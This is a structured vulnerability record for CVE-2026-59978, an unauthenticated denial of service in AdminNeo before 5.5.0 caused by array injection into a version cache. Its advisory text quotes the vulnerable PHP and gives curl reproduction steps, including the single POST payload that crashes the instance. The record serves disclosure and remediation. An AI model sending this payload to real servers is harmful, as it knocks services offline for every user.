{"id":"CVE-2026-59978","aliases":["CVE-2026-59978","GHSA-jm85-8cpp-9cjc"],"related":[],"kind":"vulnerability","state":"published","title":"AdminNeo: version-cache array injection causes persistent denial of service","summary":"AdminNeo is a full-featured database management tool written in PHP. From 4.6.2 until 5.5.0, the unauthenticated `?script=version` endpoint accepts POST data without origin, CSRF or parameter-type validation. A `version[]` parameter becomes a PHP array that `bootstrap.inc.php` serializes into the shared `adminneo.version` cache. On later page loads, `design.inc.php` passes that cached value to `cookie()` and `rawurlencode()`, causing a `TypeError` rather than encoding a version string. A remote attacker can make the instance return HTTP 500 to all users for the cache's twenty-four-hour lifetime or until the poisoned cache is removed. Exploitation requires the web server to be able to write that shared cache; making it unwritable is an interim workaround. The issue retains the underlying type-validation defect reported previously in Adminer despite changes to AdminNeo's version-checking flow. This issue is fixed in version 5.5.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"AdminNeo is a full-featured database management tool written in PHP. From 4.6.2 until 5.5.0, the unauthenticated `?script=version` endpoint accepts POST data without origin, CSRF or parameter-type validation. A `version[]` parameter becomes a PHP array that `bootstrap.inc.php` serializes into the shared `adminneo.version` cache. On later page loads, `design.inc.php` passes that cached value to `cookie()` and `rawurlencode()`, causing a `TypeError` rather than encoding a version string. A remote attacker can make the instance return HTTP 500 to all users for the cache's twenty-four-hour lifetime or until the poisoned cache is removed. Exploitation requires the web server to be able to write that shared cache; making it unwritable is an interim workaround. The issue retains the underlying type-validation defect reported previously in Adminer despite changes to AdminNeo's version-checking flow. This issue is fixed in version 5.5.0.","source":"cvelist"},{"lang":"en","text":"### Summary\nAdminNeo v5.4.1 gets the latest version from GitHub API in a browser JavaScript function. Version number is then sent by POST request to `?script=version`. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST `version[]` parameter which PHP converts to an array. On next page load, function `rawurlencode()` receives this array instead of string and throws `TypeError`, returning HTTP 500 to all users for the next 24 hours.\n\nOriginally reported by @JoyGhoshs in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-q4f2-39gr-45jh\nAlthough the version checking process was modified in AdminNeo, the root cause persisted.\n\n### Workaround\nIf you can't upgrade, make the file `adminneo.version` in temp directory (usually the value of [upload_tmp_dir](https://www.php.net/ini.core#ini.upload-tmp-dir)) unwritable by web server.\n\n### Details\n#### 1. Intended design of `?script=version`\nThe endpoint is designed to receive version data from GitHub via browser JavaScript.\n- `functions.js` line 110-121: Receives the latest release information from GitHub API by AJAX.\n- JavaScript POSTs version number to `?script=version`.\n- Server stores version number in `/tmp/adminneo.version` file that is used as a shared cache for all users in the same server for the next 24 hours.\n\n```js\n// function.js lines 119-120\nconst data = 'version=' + version + '&token=' + token;\najax(baseUrl + 'script=version', null, data);\n```\n\n#### 2. The vulnerability\n\nThe endpoint only checks `$_GET[\"script\"] == \"version\"` - it does not validate:\n- Request origin (CSRF token is present, but not checked for this endpoint)\n- Request source (any HTTP client can POST)\n- Parameter types (`version` expected as string, array not rejected)\n\n```php\n// bootstrap.inc.php lines 44-53\nif ($_GET[\"script\"] == \"version\") {\n\t$filename = get_temp_dir() . \"/adminneo.version\";\n\t@unlink($filename); // It may not be writable by us, @ - it may not exist.\n\n\t$file = open_file_with_lock($filename);\n\tif ($file) {\n\t\twrite_and_unlock_file($file, serialize([\"version\" => $_POST[\"version\"]]));\n\t}\n\texit;\n}\n```\n\n#### 3. Type confusion crash\nWhen POST contains `version[]` instead of `version`, PHP creates an array. When AdminNeo reads this file and passes to `cookie()` and then to `rawurlencode()`:\n\n```php\n// design.inc.php line 40\ncookie(\"neo_version\", $data[\"version\"], $lifetime); // Sync expiration with the file.\n\n// functions.inc.php lines 398-405\nfunction cookie(string $name, string $value, int $lifetime = 2592000): void\n{\n\theader(\"Set-Cookie: $name=\" . rawurlencode($value)\n\t\t. ($lifetime ? \"; expires=\" . gmdate(\"D, d M Y H:i:s\", time() + $lifetime) . \" GMT\" : \"\")\n\t\t. \"; path=\" . preg_replace('~\\?.*~', '', $_SERVER[\"REQUEST_URI\"])\n\t\t. (HTTPS ? \"; secure\" : \"\")\n\t\t. \"; HttpOnly; SameSite=lax\",\n\t\tfalse);\n}\n```\n\nPHP 8.x throws:\n\n```\nFatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given\n```\n\n### Steps to Reproduce\n\n(Example URL is for the official AdminNeo Docker image.)\n\n**Step 1:** Verify AdminNeo is running and accessible.\n\n```sh\ncurl -s -o /dev/null -w \"%{http_code}\\n\" http://localhost:8080\n```\n\nExpected output:\n\n```\n200\n```\n\n**Step 2:** Send the malicious POST request. The `version[]` syntax causes PHP to create an array instead of a string.\n\n```sh\ncurl -X POST \"http://localhost:8080?script=version\" -d \"version[]=INJECTED\"\n```\n\nExpected output: Empty response (no error).\n\n**Step 3:** Access Adminer again to trigger the crash.\n\n```sh\ncurl -s -o /dev/null -w \"%{http_code}\\n\" http://localhost:8080\n```\n\nExpected output:\n\n```\n500\n```\n\n**Step 4:** (Optional) View the PHP error in server logs.\n\n```\nFatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given\n```\n\n**Step 5:** (Optional) Inspect the poisoned file.\n\n```sh\ncat /tmp/adminneo.version\n```\n\nExpected output:\n\n```\na:1:{s:7:\"version\";a:1:{i:0;s:8:\"INJECTED\";}}\n```\n\n**Recovery:**\n\n```sh\nrm /tmp/adminer.version\n```\n\nAfter deletion, AdminNeo returns HTTP 200.\n\n<hr>\n\n### Impact\n\n**Type:** Denial of Service\n\n**Root cause:** The `?script=version` endpoint is designed to receive data from GitHub via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before `rawurlencode()`, this allows DoS for the next 24 hours.\n\n**Affected users:** Any AdminNeo instance accessible over the network.","format":"markdown","source":"ghsa"}],"published":"2026-10-30T18:53:04.957Z","modified":"2026-10-30T20:17:10.567Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-20"],"affected":[{"ranges":[{"version":">= 4.6.2, < 5.5.0","status":"affected"}],"vendor":"adminneo-org","product":"adminneo","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"4.6.2","status":"affected","fixed":"5.5.0"}],"ecosystem":"Packagist","package":"adminneo-org/adminneo","purl":"pkg:composer/adminneo-org/adminneo","source":"ghsa"}],"references":[{"url":"https://github.com/adminneo-org/adminneo/security/advisories/GHSA-jm85-8cpp-9cjc","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/adminneo-org/adminneo/commit/b7ae929e6afb374f0a7aba3d73b7d441470ff907","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/adminneo-org/adminneo/releases/tag/v5.5.0","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/adminneo-org/adminneo","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-10-30T19:47:01.562Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-59978","url":"https://www.cve.org/CVERecord?id=CVE-2026-59978","licence":"CVE Terms of Use","modified":"2026-10-30T19:50:24.134Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-jm85-8cpp-9cjc","url":"https://github.com/advisories/GHSA-jm85-8cpp-9cjc","licence":"CC-BY-4.0","modified":"2026-10-30T19:00:04.120Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-59978","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59978","licence":"Public domain","modified":"2026-10-30T20:17:10.567Z"}],"updatedAt":"2026-11-25T22:59:47.998Z","epss":{"score":0.00659,"percentile":0.52825,"date":"2026-12-01T12:00:22.000Z"}}